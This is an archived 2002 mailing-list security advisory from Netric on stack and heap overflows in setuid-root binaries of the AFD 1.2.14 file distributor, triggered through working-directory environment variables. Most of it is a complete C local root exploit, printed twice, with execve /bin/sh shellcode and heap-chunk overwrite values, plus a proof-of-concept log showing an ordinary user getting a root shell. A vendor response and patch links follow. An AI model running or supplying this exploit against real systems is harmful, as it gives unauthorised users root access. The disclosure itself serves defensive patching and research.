AFD 1.2.14 multiple local root compromises

From: Bert Vanmanshoven (sacrineat_private)
Date: Wed Sep 04 2002 - 07:59:51 PDT

  • Next message: fooldisclosureat_private: "[Full-Disclosure] major vulnerability in IE 6 :-("

    Netric Security Team:
    
    included: advisory - author: netric
              exploit  - written: eSDee(esdeeat_private)
              
    bug found by sacrine(sacrineat_private)
    
    site: http://www.netric.org
    (because of some dns problems currently http://www.netric.be)
    
    Kind regards, sacrine
    Netric Security
    
    
    /* AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)
     * (Bug found by Sacrine (sacrineat_private)
     * -----------------------------------------------------------------
     * usage: ./afd-expl [retloc] [ret]
     * 
     * This exploit overwrites a saved return address on the stack,
     * so that 0xbfffe360, (that worked for me on Redhat 7.3) will
     * probally not work for you...
     * 
     * Just open the coredump, search the stack for 0x4207ac24, 
     * and substract that address with 0x0c.
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    char shellcode[] = 
            "\xeb\x0a" /* 10-byte-jump; setreuid(0,0); execve /bin/sh; exit(0); */
            "--netric--"
            "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
            "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
            "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
    
    
    int
    main(int argc, char *argv[])
    {
    	char buffer[1135];
    
    	unsigned int retloc     = 0xbfffe360;
    	unsigned int ret        = 0x0806f020; /* &shellcode */
    
    	if (argc > 1) retloc	= strtoul(argv[1], &argv[1], 16);
    	if (argc > 2) ret	= strtoul(argv[2], &argv[2], 16);
    
    	memset(buffer, 0x41, sizeof(buffer));
    	memcpy(buffer, "MON_WORK_DIR=",13);
    	memcpy(buffer+13, shellcode, strlen(shellcode));
    
    	buffer[1117] = 0xff; /* prev_size */
    	buffer[1118] = 0xff;
    	buffer[1119] = 0xff;
    	buffer[1120] = 0xff;
    
    	buffer[1121] = 0xfc; /* size field */
    	buffer[1122] = 0xff;
    	buffer[1123] = 0xff;
    	buffer[1124] = 0xff;
    
    	buffer[1126] = (retloc & 0x000000ff); /* FD */
    	buffer[1127] = (retloc & 0x0000ff00) >> 8;
    	buffer[1128] = (retloc & 0x00ff0000) >> 16;
    	buffer[1129] = (retloc & 0xff000000) >> 24;
    
    	buffer[1130] = (ret & 0x000000ff); /* BK */
    	buffer[1131] = (ret & 0x0000ff00) >> 8;
    	buffer[1132] = (ret & 0x00ff0000) >> 16;
    	buffer[1133] = (ret & 0xff000000) >> 24;
    
    	buffer[1134] = 0x0;
    	putenv(buffer);
    
    	fprintf(stdout, "AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)\n");
    	fprintf(stdout, "-----------------------------------------------------------------\n");
    	fprintf(stdout, "Ret    = 0x%08x\n", ret);
    	fprintf(stdout, "Retloc = 0x%08x\n", retloc);
    
    	execl("/bin/mon_ctrl", "mon_ctrl", NULL);
    	return 0;
    }
    
    
    Netric Security Team - http://www.netric.[org|be]
    By Netric
    
    AFD 1.2.14 multiple local root exploits
    type: stack and heap overflows
    
    Priority: 5
    
    [1] Description
    [2] Vulnerable
    [3] Exploit
    [4] Proof of concept
    [5] Vendor response
    [6] Patches
    
    [1] Description
    
    	The Automatic File Distributor provides a framework for very flexible, non-stop,
    	log and debug-able delivery of an arbitrary amount of files to multiple recipients
    	as expressed in URLs.
    
    	The AFD package comes with a few sources that once compiled and installed are set
    	uid root by default.
    
    	amough other vulnerabilities, in the beginning of most of these programs a directory
    	is needed. it can be supplied with a command line switch (-w) or an environ variable.
    	the exploitable code for most looks like :
    
    
    	#define MON_WD_ENV_NAME          "MON_WORK_DIR"  /* Environment variable */
    	#define WD_ENV_NAME              "AFD_WORK_DIR"  /* The working dir-   */
    	...
    	/* work_dir is global in some sources, local in other sources */
    	char  work_dir[MAX_PATH_LENGTH];
    	...
    
    	int
    	main(int argc, char *argv[])
    	{
    		...
    		/* work_dir is global in some sources, local in other sources */
    		char  work_dir[MAX_PATH_LENGTH];
    		...
    		/* might call some other function that then calls this function */
    		if (get_XXX_path(&argc, argv, work_dir) < 0)
    		{
    			exit(INCORRECT);
    		}
    		...
    	}
    
    	/* the XXX is either 'mon' or 'afd' */
    	/* this function is in another file then main() is */
    	get_XXX_path(int *argc, char *argv[], char *work_dir)
    	{
    		...
    		char *ptr;
    
    		/* Check if the environment variable is set */
    		/* if ((ptr = getenv(MON_WD_ENV_NAME)) != NULL) <-- can also be this */
    		if ((ptr = getenv(WD_ENV_NAME)) != NULL)
    		{
    			/* !!!!! THIS IS WHERE ALL THE ACTION TAKES PLACE !!!!! */
    			(void)strcpy(work_dir, ptr);
    		}
    		...
    	}
    
            as you can see the buffer work_dir gets overflowed, and a stack or heap overflow
    	occurs (depends if work_dir is global or local). With some of the binarys it's
    	possible to cause the same overflow with the command line switch -w, but in other
    	binarys that length gets checked.
    
    	the following is a listing of the vulnerable suid binarys, and if they are exploitable
    	with the environ varibles and/or the -w command line switch :
    
    	name		-w switch		env. var
    	afd		NO			YES
    	afdcmd		NO			YES
    	afd_ctrl	NO			YES
    	init_afd	NO			YES
    	mafd		YES			YES
    	mon_ctrl	YES			YES
    	show_olog	NO			YES
    	udc		NO			YES
    
    
    [2] Vulnerable
    
    	the AFD site says that AFD works on the following :
    
    	version				vulnerable		exploitable
    	* Linux 1.3.x  -  2.4.x		YES			YES
    	* Solaris 2.x			probably (not tested)	probably (not tested)
    	* HP-UX 10.x  -  11.x		probably (not tested)	probably (not tested)
    	* IRIX 5.3  6.x			probably (not tested)	probably (not tested)
    	* AIX 4.3			probably (not tested)	probably (not tested)
    	* FTX 3.0.x  3.2.x		probably (not tested)	probably (not tested)
    	* SCO OpenServer Release 5	probably (not tested)	probably (not tested)
    
    	this vulnerability was discovered in the AFD 1.2.14 package but previous versions
    	are probably vulnerable too.
    
    
    [3] Exploit
    
    	The following exploit was tested in a lab and will probably not work without
    	any tweaking. it was tested agains mon_ctrl in the AFD 1.2.14 package on redhat 7.3.
    
    	<--> BEGIN OF FILE <-->
    	#include <stdio.h>
    	#include <stdlib.h>
    	#include <string.h>
    
    	char shellcode[] =
            "\xeb\x0a" /* 10-byte-jump; setreuid(0,0); execve /bin/sh; exit(0); */
            "--netric--"
            "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
            "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
            "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
    
    	int
    	main(int argc, char *argv[])
    	{
    		char buffer[1135];
    
    		unsigned int retloc     = 0xbfffe360;
    		unsigned int ret        = 0x0806f020; /* &shellcode */
    
    		if (argc > 1) retloc	= strtoul(argv[1], &argv[1], 16);
    		if (argc > 2) ret	= strtoul(argv[2], &argv[2], 16);
    
    		memset(buffer, 0x41, sizeof(buffer));
    		memcpy(buffer, "MON_WORK_DIR=",13);
    		memcpy(buffer+13, shellcode, strlen(shellcode));
    
    		buffer[1117] = 0xff; /* prev_size */
    		buffer[1118] = 0xff;
    		buffer[1119] = 0xff;
    		buffer[1120] = 0xff;
    
    		buffer[1121] = 0xfc; /* size field */
    		buffer[1122] = 0xff;
    		buffer[1123] = 0xff;
    		buffer[1124] = 0xff;
    
    		buffer[1126] = (retloc & 0x000000ff); /* FD */
    		buffer[1127] = (retloc & 0x0000ff00) >> 8;
    		buffer[1128] = (retloc & 0x00ff0000) >> 16;
    		buffer[1129] = (retloc & 0xff000000) >> 24;
    
    		buffer[1130] = (ret & 0x000000ff); /* BK */
    		buffer[1131] = (ret & 0x0000ff00) >> 8;
    		buffer[1132] = (ret & 0x00ff0000) >> 16;
    		buffer[1133] = (ret & 0xff000000) >> 24;
    
    		buffer[1134] = 0x0;
    		putenv(buffer);
    
    		fprintf(stdout, "AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)\n");
    		fprintf(stdout, "-----------------------------------------------------------------\n");
    		fprintf(stdout, "Ret    = 0x%08x\n", ret);
    		fprintf(stdout, "Retloc = 0x%08x\n", retloc);
    
    		execl("/bin/mon_ctrl", "mon_ctrl", NULL);
    		return 0;
    	}
    	<--> END OF FILE <-->
    
    
    [4] Proof of concept
    
    	[eSDee@/ bin]$ id
    	uid=502(eSDee) gid=500(trusted) groups=500(trusted)
    	[eSDee@/ bin]$ ./afd-expl
    	AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)
    	-----------------------------------------------------------------
    	Ret    = 0x0806f020
    	Retloc = 0xbfffe360
    	28 17:32:12 <E> Failed to create directory <ë
    	--netric--1Û1É÷ã°FÍShn/shh//biãRSá°
    	                                  ÍAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    					  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    					  AAAAAAAAAAAAAAAAAAAAAAAAA
    	....
    	ectory (check_dir.c 66)
    	sh-2.05a# id
    	uid=0(root) gid=500(trusted) groups=500(trusted)
    	sh-2.05a# exit
    
    
    [5] Vendor response
    
    	We got a reply from the vendor within 1 week that patches were made. 
    
    [6] Patches 
    	
    	There is a new version released of afd (1.2.15) which can be 
    	downloaded from :
     
    		[source]  ftp://ftp.dwd.de/pub/afd/src-1.2.15.tar.bz2
    		[rpm   ]  ftp://ftp.dwd.de/pub/afd/rpm/afd-1.2.15-2.i386.rpm
    
    
    	there is also a patch released for version 1.2.14 which can be found on : 
    
    		[patch ]  ftp://ftp.dwd.de/pub/afd/patch-1.2.15.bz2
    



    This archive was generated by hypermail 2b30 : Wed Sep 04 2002 - 15:39:07 PDT